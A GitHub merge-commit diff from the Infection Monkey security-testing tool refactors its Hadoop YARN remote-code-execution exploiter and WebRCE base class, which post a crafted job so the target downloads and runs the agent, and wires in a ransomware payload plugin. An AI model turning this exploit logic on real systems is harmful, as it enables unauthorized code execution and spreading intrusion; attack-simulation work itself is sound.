Merge pull request #1743 from guardicore/1605-modify-hadoop

Modify Hadoop exploiter
This commit is contained in:
Mike Salvatore 2022-02-24 08:02:01 -05:00 committed by GitHub
commit 85eb3a2c0d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
8 changed files with 52 additions and 93 deletions

View File

@ -33,29 +33,32 @@ class HadoopExploiter(WebRCE):
# Random string's length that's used for creating unique app name
RAN_STR_LEN = 6
def __init__(self, host):
super(HadoopExploiter, self).__init__(host)
def __init__(self):
super(HadoopExploiter, self).__init__()
def _exploit_host(self):
# Try to get exploitable url
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return False
# We presume hadoop works only on 64-bit machines
if self.host.os["type"] == "windows":
self.host.os["machine"] = "64"
return self.exploit_result
paths = self.get_monkey_paths()
if not paths:
return False
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
command = self.build_command(paths["dest_path"], http_path)
if not self.exploit(self.vulnerable_urls[0], command):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
self.add_executed_cmd(command)
return True
try:
command = self._build_command(paths["dest_path"], http_path)
if self.exploit(self.vulnerable_urls[0], command):
self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True
finally:
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
return self.exploit_result
def exploit(self, url, command):
# Get the newly created application id
@ -69,7 +72,7 @@ class HadoopExploiter(WebRCE):
rand_name = ID_STRING + "".join(
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
)
payload = self.build_payload(app_id, rand_name, command)
payload = self._build_payload(app_id, rand_name, command)
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
)
@ -85,7 +88,7 @@ class HadoopExploiter(WebRCE):
return False
return resp.status_code == 200
def build_command(self, path, http_path):
def _build_command(self, path, http_path):
# Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if "linux" in self.host.os["type"]:
@ -101,7 +104,7 @@ class HadoopExploiter(WebRCE):
}
@staticmethod
def build_payload(app_id, name, command):
def _build_payload(app_id, name, command):
payload = {
"application-id": app_id,
"application-name": name,

View File

@ -1,11 +1,10 @@
import logging
import re
from abc import abstractmethod
from posixpath import join
from typing import List, Tuple
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.exploit.consts import WIN_ARCH_64
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.http_tools import HTTPTools
@ -15,8 +14,6 @@ from infection_monkey.model import (
CHMOD_MONKEY,
DOWNLOAD_TIMEOUT,
DROPPER_ARG,
GET_ARCH_LINUX,
GET_ARCH_WINDOWS,
ID_STRING,
MONKEY_ARG,
POWERSHELL_HTTP_UPLOAD,
@ -35,22 +32,13 @@ POWERSHELL_NOT_FOUND = "powershell is not recognized"
class WebRCE(HostExploiter):
def __init__(self, host, monkey_target_paths=None):
def __init__(self, monkey_target_paths=None):
"""
:param host: Host that we'll attack
:param monkey_target_paths: Where to upload the monkey at the target host system.
Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
"""
super(WebRCE, self).__init__(host)
if monkey_target_paths:
self.monkey_target_paths = monkey_target_paths
else:
self.monkey_target_paths = {
"linux": self._config.dropper_target_path_linux,
"win32": self._config.dropper_target_path_win_32,
"win64": self._config.dropper_target_path_win_64,
}
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
super(WebRCE, self).__init__()
self.monkey_target_paths = monkey_target_paths
self.vulnerable_urls = []
self.target_url = None
@ -80,10 +68,6 @@ class WebRCE(HostExploiter):
# vulnerable.
exploit_config["stop_checking_urls"] = False
# blind_exploit: If true we won't check if file exist and won't try to get the
# architecture of target.
exploit_config["blind_exploit"] = False
return exploit_config
def _exploit_host(self):
@ -108,10 +92,6 @@ class WebRCE(HostExploiter):
self.target_url = self.get_target_url()
# Check for targets architecture (if it's 32 or 64 bit)
if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()):
return False
# Upload the right monkey to target
data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"])
@ -133,6 +113,16 @@ class WebRCE(HostExploiter):
return True
def pre_exploit(self):
if not self.monkey_target_paths:
self.monkey_target_paths = {
"linux": self.options["dropper_target_path_linux"],
"win32": self.options["dropper_target_path_win_32"],
"win64": self.options["dropper_target_path_win_64"],
}
self.HTTP = [str(port) for port in self.options["http_ports"]]
super().pre_exploit()
@abstractmethod
def exploit(self, url, command):
"""
@ -254,38 +244,6 @@ class WebRCE(HostExploiter):
if not self.vulnerable_urls:
logger.info("No vulnerable urls found, skipping.")
def get_host_arch(self, url):
"""
:param url: Url for exploiter to use
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
"""
if "linux" in self.host.os["type"]:
resp = self.exploit(url, GET_ARCH_LINUX)
if resp:
# Pulls architecture string
arch = re.search(r"(?<=Architecture:)\s+(\w+)", resp)
try:
arch = arch.group(1)
except AttributeError:
logger.error("Looked for linux architecture but could not find it")
return False
if arch:
return arch
else:
logger.info("Could not pull machine architecture string from command's output")
return False
else:
return False
else:
resp = self.exploit(url, GET_ARCH_WINDOWS)
if resp:
if "64-bit" in resp:
return WIN_ARCH_64
else:
return WIN_ARCH_32
else:
return False
# Wrapped functions:
def get_ports_w(self, ports, names):
"""
@ -302,15 +260,6 @@ class WebRCE(HostExploiter):
else:
return ports
def set_host_arch(self, url):
arch = self.get_host_arch(url)
if not arch:
logger.error("Couldn't get host machine's architecture")
return False
else:
self.host.os["machine"] = arch
return True
def run_backup_commands(self, resp, url, dest_path, http_path):
"""
If you need multiple commands for the same os you can override this method to add backup
@ -327,7 +276,9 @@ class WebRCE(HostExploiter):
"monkey_path": dest_path,
"http_path": http_path,
}
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
self.telemetry_messenger.send_telemtry(
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING)
)
resp = self.exploit(url, backup_command)
return resp
@ -385,10 +336,10 @@ class WebRCE(HostExploiter):
command = CHMOD_MONKEY % {"monkey_path": path}
try:
resp = self.exploit(url, command)
T1222Telem(ScanStatus.USED, command, self.host).send()
self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.USED, command, self.host))
except Exception as e:
logger.error("Something went wrong while trying to change permission: %s" % e)
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.SCANNED, "", self.host))
return False
# If exploiter returns True / False
if isinstance(resp, bool):
@ -517,14 +468,15 @@ class WebRCE(HostExploiter):
logger.error("Target's OS was either unidentified or not supported. Aborting")
return False
if self.host.os["type"] == "linux":
return self._config.dropper_target_path_linux
return self.options["dropper_target_path_linux"]
if self.host.os["type"] == "windows":
try:
# remove now or when 32-bit binaries are removed?
if self.host.os["machine"] == WIN_ARCH_64:
return self._config.dropper_target_path_win_64
return self.options["dropper_target_path_win_64"]
except KeyError:
logger.debug("Target's machine type was not set. Using win-32 dropper path.")
return self._config.dropper_target_path_win_32
return self.options["dropper_target_path_win_32"]
def get_target_url(self):
"""

View File

@ -68,7 +68,6 @@ class WebLogic201710271(WebRCE):
def get_exploit_config(self):
exploit_config = super(WebLogic201710271, self).get_exploit_config()
exploit_config["blind_exploit"] = True
exploit_config["stop_checking_urls"] = True
exploit_config["url_extensions"] = WebLogic201710271.URLS
return exploit_config
@ -267,7 +266,6 @@ class WebLogic20192725(WebRCE):
def get_exploit_config(self):
exploit_config = super(WebLogic20192725, self).get_exploit_config()
exploit_config["url_extensions"] = WebLogic20192725.URLS
exploit_config["blind_exploit"] = True
exploit_config["dropper"] = True
return exploit_config

View File

@ -44,8 +44,7 @@ RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
CHECK_COMMAND = "echo %s" % ID_STRING
# Architecture checking commands
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
GET_ARCH_LINUX = "lscpu"
GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses
# All in one commands (upload, change permissions, run)
HADOOP_WINDOWS_COMMAND = (

View File

@ -17,6 +17,7 @@ from infection_monkey.credential_collectors import (
SSHCredentialCollector,
)
from infection_monkey.exploit import ExploiterWrapper
from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.i_puppet import IPuppet, PluginType
from infection_monkey.master import AutomatedMaster
@ -222,6 +223,9 @@ class InfectionMonkey:
exploit_wrapper.wrap(SSHExploiter),
PluginType.EXPLOITER,
)
puppet.load_plugin(
"HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER
)
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)

View File

@ -82,7 +82,7 @@ class TelemetryFeed(flask_restful.Resource):
def get_exploit_telem_brief(telem):
target = telem["data"]["machine"]["ip_addr"]
exploiter = telem["data"]["exploiter"]
result = telem["data"]["result"]
result = telem["data"]["exploitation_result"]
if result:
return "Monkey successfully exploited %s using the %s exploiter." % (target, exploiter)
else:

View File

@ -611,6 +611,8 @@ class ConfigService:
]:
exploit_options[dropper_target] = config.get(dropper_target, "")
exploit_options["http_ports"] = sorted(config["HTTP_PORTS"])
formatted_exploiters_config = {
"options": exploit_options,
"brute_force": [],

View File

@ -175,6 +175,7 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe",
"dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe",
"http_ports": [80, 443, 7001, 8008, 8080, 9200],
},
"brute_force": [
{"name": "MSSQLExploiter", "options": {}},